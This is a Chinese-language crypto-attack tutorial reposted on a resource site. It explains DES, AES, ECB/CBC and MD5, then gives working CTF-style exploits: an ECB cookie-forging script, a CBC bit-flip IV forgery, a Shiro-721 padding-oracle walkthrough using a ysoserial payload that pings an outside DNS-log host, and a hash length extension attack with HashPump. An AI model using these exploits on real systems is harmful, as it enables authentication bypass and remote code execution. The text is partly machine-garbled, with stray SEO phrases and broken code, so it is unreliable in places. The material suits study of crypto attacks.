最新公告
  • 欢迎您光临欧资源网,本站秉承服务宗旨 履行“站长”责任,销售只是起点 服务永无止境!立即加入我们
  • 分组密码又称为分块加密,是一种对称加密算法加密

    来源:

    0x1基本概念 0x1.1分组密码

    块密码,也称为块加密或块加密,是一种对称加密算法。这类算法将明文分成多个等长的组,并使用某种算法和对称密钥分别对每个组进行加密或解密。常用算法有DES、3DES、AES。

    0x1.1.1 加密算法

    DES 需要加密的明文按 64 位分组。加密密钥是根据用户输入的密钥生成的。密钥是 64 位长,但密钥实际上是 56 位参与 DES 操作(8、16、24、32、40、4 8、56、64位是校验位,所以每个密钥都有奇数1。计算密钥时忽略8位),分组明文组和56位密钥替换或逐位交换,形成密文组的加密方式。

    DES算法加密过程:

    (1)输入64位明文数据,进行初始IP替换;

    (2)初始IP替换后,明文数据分为左右两部分,每部分为32位,用L0,R0表示;

    (3)在秘钥的控制下,经过16轮操作(f);

    (4)16轮后,左右部分互换,连接在一起,然后逆排列;

    (5)输出 64 位密文。

    由于DES密码的长度容易被暴力破解,3DES算法改进了DES算法,增加了DES的密钥长度以避免类似的攻击,并对每个数据块进行3次DES加密;因此,3DES 加密算法并不新鲜。加密算法是 DES 的一种更安全的变体。以DES为基本模块,结合分组方法设计分组加密算法。

    该算法的加解密过程是对明文数据进行三次DES加密或解密,得到明文。

    AES(高级加密标准),在密码学中也称为 Rijndael 加密,是美国联邦政府采用的一种块加密标准。该标准用于替代原来的 DES。在 AES 标准规范中,块长度只能是 128 位,即每个块为 16 字节(每字节 8 位)。密钥的长度可以是 128 位、192 位或 256 位。密钥的长度不同,推荐的加密轮数也不同。

    AES 加密过程涉及四个操作:字节替换、行移位、列混淆和轮密钥添加。

    0x1.1.2 分组方式

    在块加密算法中,有ECB、CBC、CFB、OFB、CTR等几种算法模式。这里简单介绍一下常见的ECB和CBC模式。

    ECB模式的全称是电子密码本模式。在ECB模式下,明文块的加密结果会直接变成密文块。

    ECB加密:

    ECB解密:

    CBC 代表密码块链接模式。在CBC模式下,明文块首先与前一个密文块进行异或,然后加密。第一个明文数据包需要一个初始化向量 (IV) 进行异或。

    CBC加密:

    CBC解密:

    0x1.2哈希算法

    哈希通过哈希算法将任意长度的输入转换为固定长度的输出,输出为哈希值。

    常见的哈希算法有MD5、SHA1、SHA256、SHA512等。

    MD5算法的输入是长度小于2^64位的消息比特串,输出是固定的128位消息哈希值。输入数据需要以 512 位为单位进行分组。

    MD5实现示意图:

    MD5实现步骤:

    (1) 填充位

    如果输入消息(位)调制 512 并且结果不等于 448,则需要填充以使结果等于 448。二进制补码是在消息的末尾添加一个 1,然后是 n 个零。在十六进制中,需要在消息后加上 80,即二进制的 10000000。填充后len(message)mod512=448(bit)。

    (2)补充长度

    填充后,使用64位存储填充前信息的长度。在第一步的结果之后添加 64 位。这样 len(message)mod512=0。长度为little-endian,即高字节放在高地址。

    比如要填写“hello world”:“hello world”是11个字母,11个字节(88位),转换成16进制0x58,后面跟着7个字节的0x00,那么:

    (3) 初始化向量

    初始链接变量IV最初存储在四个32位寄存器A、B、C和D中,将参与第一个分组单元的哈希运算。他们是:

    (4)复杂的函数操作

    0x2 攻击模式 0x2.1ECB 模式攻击

    因为每个数据包都是独立加解密的,在不知道秘钥的情况下,可以通过修改密文的位置来改变部分明文,达到攻击效果。

    例子:

    cbc.php

    <?php
    //php7
    function AES($data){
        $privateKey = "12345678123456781234567812345678";
        $encrypted=openssl_encrypt($data,'AES-128-ECB',$privateKey,OPENSSL_RAW_DATA);
        #$encrypted = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $privateKey, $data, MCRYPT_MODE_ECB);
        $encryptedData = (base64_encode($encrypted));
        return $encryptedData;
    }
    function DE__AES($data){
        $privateKey = "12345678123456781234567812345678";
        $encryptedData = base64_decode($data);
       $decrypted=openssl_decrypt($encryptedData,'AES-128-ECB',$privateKey,OPENSSL_RAW_DATA);
        $decrypted = rtrim($decrypted, "") ;
        return $decrypted;
    }
    if (@$_GET['a']=='reg'){
        setcookie('uid', AES('9'));
        setcookie('username', AES($_POST['username']));
        header("Location: http://127.0.0.1/ecb.php");
        exit();
    }
    if (@!isset($_COOKIE['uid'])||@!isset($_COOKIE['username'])){
        echo '
    Username:

    Password:


    '; } else{ $uid = DE__AES($_COOKIE['uid']); if ( $uid != 4){ echo 'uid:' .$uid .'
    '; echo 'Hi ' . DE__AES($_COOKIE['username']) .'
    '; echo 'You are not administrator!!'; } else { echo "Hi you are administrator!!" .'
    '; echo 'Flag is flag{this is flag}'; } } ?>

    问题解决思路:

    使用正确的管理员 uid 登录以获取标志。用户名和 uid 都由 ECB 加密,并在 cookie 中返回。解密,通过注册一个17字节的用户,多出的1字节是另外一组,可以控制我们想要的uid密文的生成。

    经验

    import urllib
    import urllib2
    import base64
    import cookielib
    import Cookie
    for num in range(1,50):
        reg_url='http://127.0.0.1/ecb.php?a=reg'
        index_url='http://127.0.0.1/ecb.php'
        cookie=cookielib.CookieJar()
        opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
        opener.addheaders.append(('User-Agent','Mozilla/4.5'))
        num=str(num)
        values={'username':'yyyyyyyyyyyyyyyy'+num,'password':'123'}
        data=urllib.urlencode(values)
        opener.open(reg_url,data)
        text=opener.open(index_url,data)
        for ck in cookie:
            if ck.name=='username':
                user_name=ck.value
        user_name = urllib.unquote(user_name)
        user_name = base64.b64decode(user_name)
        hex_name = user_name.encode('hex')
        hex_name = hex_name[len(hex_name)/2:]
        hex_name = hex_name.decode('hex')
        uid = base64.b64encode(hex_name)
        uid = urllib.quote(uid)
        for ck in cookie:
            if ck.name=='uid':
                ck.value=uid
        text=opener.open(index_url).read()
        if 'Flag' in text:
            print text
            break
        else:
           print num

    0x2.2CBC模式攻击 0x2.2.1CBC字节翻转攻击

    CBC模式依赖于之前的密文块,可以避免ECB问题。但是,仍然可以通过修改前一个密文块来改变解密后的明文块,修改前一个密文块中的任何位(0,1交换,也称为翻转)

    通过分组密码加密对密文进行解密,得到中间密文。中间密文与IV(或前一个密文块)异或后,得到明文。因此,可以通过攻击IV来改变最终的明文。

    如何修改IV的值?很容易推导出来。

    在解密过程中,因为中间密文^原始IV=原始明文,所以中间密文=原始IV^原始明文。我们想要的伪造明文=中间密文^伪造IV=原始IV^原始明文^伪造IV,可以推导出伪造IV=原始IV^原始明文^伪造明文。只要我们知道原始IV和原始明文这两个值,我们就可以伪造解密结果。

    例子:

    Ciphertext 1[4]表示密文1字符串的第四个字节,相当于一个数组下标。

    令:密文1[4] = A,中间密文2[4] = B,明文2[4] = C

    由于A^B = C,根据结论有B = A^C

    当人为修改A=A^C时,则A^B=A^C^B=B^B=0,所以明文2[4]的结果为0

    当人为修改A=A ^ C ^ x(x为任意值)时,则

    A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x,这就是明文2[4] = x,达到控制明文某个字节的目的。

    例子:

    cbc.php

    <?php
    error_reporting(0);
    include("flag.php");
    $iv = 'NGY0MWVlOGE2MGU4NTkxMQ==';
    function decode($str,$key,$iv)
    {
        return openssl_decrypt(base64_decode($str),"AES-128-CBC",$key,OPENSSL_RAW_DATA,base64_decode($iv));
    }
    function encode($str,$key,$iv)
    {
        return base64_encode(openssl_encrypt($str,"AES-128-CBC",$key,OPENSSL_RAW_DATA, base64_decode($iv)));
    }
    if(isset($_COOKIE['username']) && isset($_COOKIE['iv'])){
        if(decode($_COOKIE['username'],$key,$_COOKIE['iv']) === "admin"){
            echo "hello admin
    "; echo $flag."
    "; } else if(decode($_COOKIE['username'],$key,$_COOKIE['iv']) === "guest"){ echo "hello guest
    "; } else { echo "iv or username error"; } } else{ $enc = encode("guest",$key,$iv); setcookie('username',$enc); setcookie('iv',$iv); } highlight_file(__file__); ?>

    标志.php

    问题解决思路:

    可以得到IV值和原始明文“guest”。从源码看,只要明文“admin”是伪造的,就可以得到flag,计算出伪造的IV值。

    import base64
    iv = base64.b64decode('NGY0MWVlOGE2MGU4NTkxMQ==')
    admin = 'admin' + 'x0b'*11
    guest = 'guest' + 'x0b'*11
    new_iv = ''
    for i in range(len(admin)):
        new_iv += chr(ord(iv[i]) ^ ord(admin[i]) ^ ord(guest[i]))
    print base64.b64encode(new_iv)
    # Mnc8K39lOGE2MGU4NTkxMQ==

    0x2.2.2CBC 填充预言机攻击

    在Padding Oracle Attack攻击中,攻击者输入的参数是IV和Cipher。通过IV的“穷举”,请求服务器解密指定的Cipher,返回结果判断猜测正确。中间密文,得到中间密文后,可以伪造IV来伪造明文。

    使用条件:

    攻击者知道密文和初始向量IVpadding是错误的并且填充是正确的。服务器可以返回不同的状态

    以 Shiro padding oracle 为例:

    Shiro 的 RememberMe 使用 AES-128-CBC 模式加密,容易受到 Padding Oracle 攻击。AES的初始化向量IV是cookie的rememberMe base64解码的前16个字。

    Shrio 必须有 Oracle Padding 漏洞常用的对称密码算法有哪些,有 padding 提示

    其实并不是原来的要求,而且第一项都不满足,所以只要填对了填错了,退货就不同了。

    漏洞环境搭建

    git clone https://github.com/3ndz/Shiro-721.git
    cd Shiro-721/Docker
    docker build -t shiro-721 .
    docker run -p 8080:8080 -d shiro-721

    1.登录Shiro测试账号获取合法cookies(勾选Remember Me)

    2.生成java有效载荷

    java -jar ysoserial.jar CommonsBeanutils1 "ping awa4xw.ceye.io" > payload.class

    3.执行exp,爆破几十分钟,得到padding oracle攻击后的cookie

    python2 shiro_exp.py http://192.168.247.130:8080/ NqoZZVVnFvBxH0m7tavNPhx2H2mPLucccvcuM3WSSIQIWyksw3xnNG70MWsSy+TFCUZEkiQSdV38fTmfJgsuEJPFLUrVQUwDkZ+disZ5k1auCE2swMsLE7cUxDykdPk79k6Q0k6N8rZpszd/1+F6uoA8PDH9zaYt7RwXUS2z+JKFV30Cl7h0zZvlKYK98DrITFX8sW0Z/veIgh6G3ljIAIo6CgRUKMwYsi1dfD+HeE5qxTpofOfyuUnkguzY//gvEahmxWy85qMBgSchENUn+aKOFWnrtEvTQ3bOhN3T5Lb2zz0waCSpFEyC+tBDYxUWiiANjJnkUf/KtOZ/tQheAjZezmBymL5qOQJPMaVuGyQtX7AGIhn3r3wrLdQsCog4NzCM5EcaNV4zuGEXL4Mfnk0xh7Lv4O04c931gCRM6zv5hB743NwjdO72hc1TcC/CYLRjfs5rUWHerNClnBJhw5h+pQuJdZ0qsv95aC0Qeh4ywpQKELPfpbuZNEd1zt75 payload.class

    4.复制cookie,然后重放数据库即可成功执行命令

    0x2.3哈希长度扩展攻击

    Hash长度扩展攻击可以在HASH(message(salt+data))的哈希值已知的情况下计算出HASH(message+padding+a)的哈希值,即根据哈希计算更长消息的哈希值的一条短信。

    使用条件:

    要知道salt的长度,需要知道salt加密的一个hash值,才能知道数据的值(unsalted明文)

    例子:

    哈希.php

    <?php
    include "secret.php";
    @$username=(string)$_POST['username'];
    function enc($text){
        global $key;
        return md5($key.$text);
    }
    if(enc($username) === $_COOKIE['verify']){
        if(is_numeric(strpos($username, "admin"))){
            die($flag);
        }
        else{
            die("you are not admin");
        }
    }
    else{
        setcookie("verify", enc("guest"), time()+60*60*24*7);
        setcookie("len", strlen($key), time()+60*60*24*7);
    }
    show_source(__FILE__);

    秘密.php

    问题解决思路:

    可以得到enc(“guest”)的值,$key的长度是46,要求我们输入的用户名经过enc函数加密后等于$_COOKIE[‘verify’]的值常用的对称密码算法有哪些,并且用户名必须包含管理员。

    使用 hashdump 工具

    git clone https://github.com/bwall/HashPump
    apt-get install g++ libssl-dev
    cd HashPump
    make
    make install

    用法

    Input Signature: 已知的hash值
    Input Data: 上面的hash值解密后的字符串
    Input Key Length: $key的长度
    Input Data to Add: 想要添加的数据

    将hash值替换为$_COOKIE[‘verify’]的值,然后邮寄提交

    username=guest%80%98admin 就足够了。

    0x3 总结

    这里简单介绍一下常见的WEB密码攻击方法。如果有任何错误,请纠正我。

    参考链接:

    %20Length%20Extension%20Attack%EF%BC%88%E5%93%88%E5%B8%8C%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6 %94%BB%E5%87%BB%EF%BC%89/

    站内大部分资源收集于网络,若侵犯了您的合法权益,请联系我们删除!
    欧资源网 » 分组密码又称为分块加密,是一种对称加密算法加密

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    欧资源网
    一个高级程序员模板开发平台

    发表评论